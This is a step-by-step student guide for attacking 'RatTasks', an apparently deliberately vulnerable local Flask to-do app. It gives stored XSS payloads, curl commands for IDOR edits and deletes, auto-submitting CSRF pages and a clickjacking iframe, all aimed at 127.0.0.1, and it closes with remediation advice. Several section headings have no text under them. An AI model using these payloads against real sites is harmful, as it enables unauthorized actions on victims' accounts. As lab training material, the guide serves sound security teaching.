🐀 RatTasks

Explotation Guide

RatTasks – Student Exploit Guide (Step‑by‑Step)

**Educational use only.** These steps are designed for the RatTasks lab running on your own machine. Do not target systems you don’t own or don’t have explicit permission to test.

---

0) Setup

1. Create a Python venv and install deps:


   python3 -m venv venv && source venv/bin/activate
   pip install flask werkzeug

2. Run the app:


   python app.py

3. Open **[http://127.0.0.1:5000](http://127.0.0.1:5000)**. Create an account and log in.

Tip: Keep DevTools → Network tab open to watch requests.

---

1) Stored XSS in Task Title

**Vulnerability:** Task titles are rendered with `|safe`, so HTML/JS executes when the task list renders.

Steps

1. Log in.

2. In the **Add task** input, paste any of the payloads below and click **Add**:


   <script>alert('XSS')</script>

Alternative payloads (helpful if a naive `<script>` filter is later added):


   <img src=x onerror=alert('XSS')>
   <svg/onload=alert('XSS')>
   <a href=javascript:alert('XSS')>click me</a>

3. Reload or navigate to `/` to trigger execution if needed.

What you should observe

Bonus: Using XSS to perform actions

Because the session cookie is automatically sent by the browser, your script can make **authenticated** requests even if the cookie is `HttpOnly`.

Try editing your own task title via XHR/fetch from XSS:


<script>
fetch('/edit/1', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'title=HACKED+by+XSS'
});
</script>
Replace `1` with the actual task ID of **your** task. This demonstrates how XSS lets an attacker act as the victim.

---

2) IDOR / Broken Access Control on Edit, Delete, Toggle

**Vulnerability:** The routes `/edit/<id>`, `/delete/<id>`, `/toggle/<id>` do **not** verify that the task belongs to the logged‑in user.

Prepare

Find valid task IDs

1. While logged in as **User A**, try to open ids you don’t own using the edit page:

* Visit: `http://127.0.0.1:5000/edit/1`, `/edit/2`, `/edit/3`, … until you **don’t** see “Task not found” and instead see the **Edit task** form for a task that isn’t yours.

* This confirms the ID exists and is accessible.

Exploit: Edit someone else’s task (horizontal privilege escalation)

**cURL version (replace `42` with the victim’s task id):**


curl -i -X POST   -H 'Content-Type: application/x-www-form-urlencoded'   -b 'session=<YOUR_FLASK_SESSION_COOKIE>'   --data 'title=Owned+by+User+A'   http://127.0.0.1:5000/edit/42
Get your `session` cookie from DevTools → Application → Cookies.

Exploit: Toggle someone else’s completion flag


curl -i -b 'session=<YOUR_FLASK_SESSION_COOKIE>'   http://127.0.0.1:5000/toggle/42

Exploit: Delete someone else’s task


curl -i -b 'session=<YOUR_FLASK_SESSION_COOKIE>'   http://127.0.0.1:5000/delete/42
The delete route does not verify ownership and always flashes “Task deleted” even if nothing happened — use `/edit/<id>` first to confirm the ID exists.

What you should observe

---

3) CSRF on Add, Edit, Toggle, Delete

**Vulnerability:** There’s no CSRF protection. State‑changing endpoints accept requests with only the victim’s cookie for auth.

For the following, the victim must be **logged in** to RatTasks in the same browser.

CSRF: Add a task (auto‑submit form)

Create a local HTML file (e.g., `csrf-add.html`) and open it in your browser while logged in to RatTasks:


<!doctype html>
<form action="http://127.0.0.1:5000/" method="POST" id="f">
  <input name="title" value="CSRF injected task!">
</form>
<script>document.getElementById('f').submit();</script>

**Result:** A new task appears in the victim account.

CSRF: Delete a known task via `GET`

Because delete uses `GET`, an attacker can use an image tag:


<!doctype html>
<img src="http://127.0.0.1:5000/delete/42" style="display:none">

**Result:** Visiting this page while logged in to RatTasks deletes task `42`.

CSRF: Toggle a task via `GET`


<!doctype html>
<img src="http://127.0.0.1:5000/toggle/42" style="display:none">

**Result:** Task `42` flips between done/undone.

CSRF: Edit via POST


<!doctype html>
<form action="http://127.0.0.1:5000/edit/42" method="POST" id="f">
  <input name="title" value="CSRF changed your title">
</form>
<script>f.submit();</script>

---

4) Clickjacking (No Frame Protections)

**Vulnerability:** No `X-Frame-Options` or CSP → pages can be iframed and overlaid with deceptive UI.

PoC

Create `clickjack.html` and open it while logged in:


<!doctype html>
<style>
  iframe { position: absolute; top:0; left:0; width:100vw; height:100vh; opacity:0.1; }
  button.fake { position:absolute; top:120px; left:120px; padding:20px; }
</style>
<button class="fake">Click here for FREE COFFEE ☕</button>
<iframe src="http://127.0.0.1:5000/delete/42"></iframe>

**Result:** Clicking the visible button actually clicks the hidden delete link beneath it.

---

5) Recon Tips & ID Discovery

---

6) Suggested Write‑Up Structure (for reports)

1. **Title**: Stored XSS in Task Title leads to account actions via authenticated fetch

2. **Summary**: Explain the impact and where the bug lives.

3. **Steps to Reproduce**: Copy the exact steps/payloads above.

4. **Impact**: Session‑authenticated actions; potential for persistent worm; user data manipulation.

5. **Remediation**:

* Escape output; remove `|safe` unless output is pre‑sanitized.

* Add CSRF tokens to state‑changing routes; avoid `GET` for destructive actions.

* Verify ownership on all task mutations: `WHERE id = ? AND user_id = ?`.

* Add `X-Frame-Options: DENY` and a strict CSP.

---

7) Quick Checklist (What to Demonstrate)

That’s it. Keep your tests scoped to your own local RatTasks instance.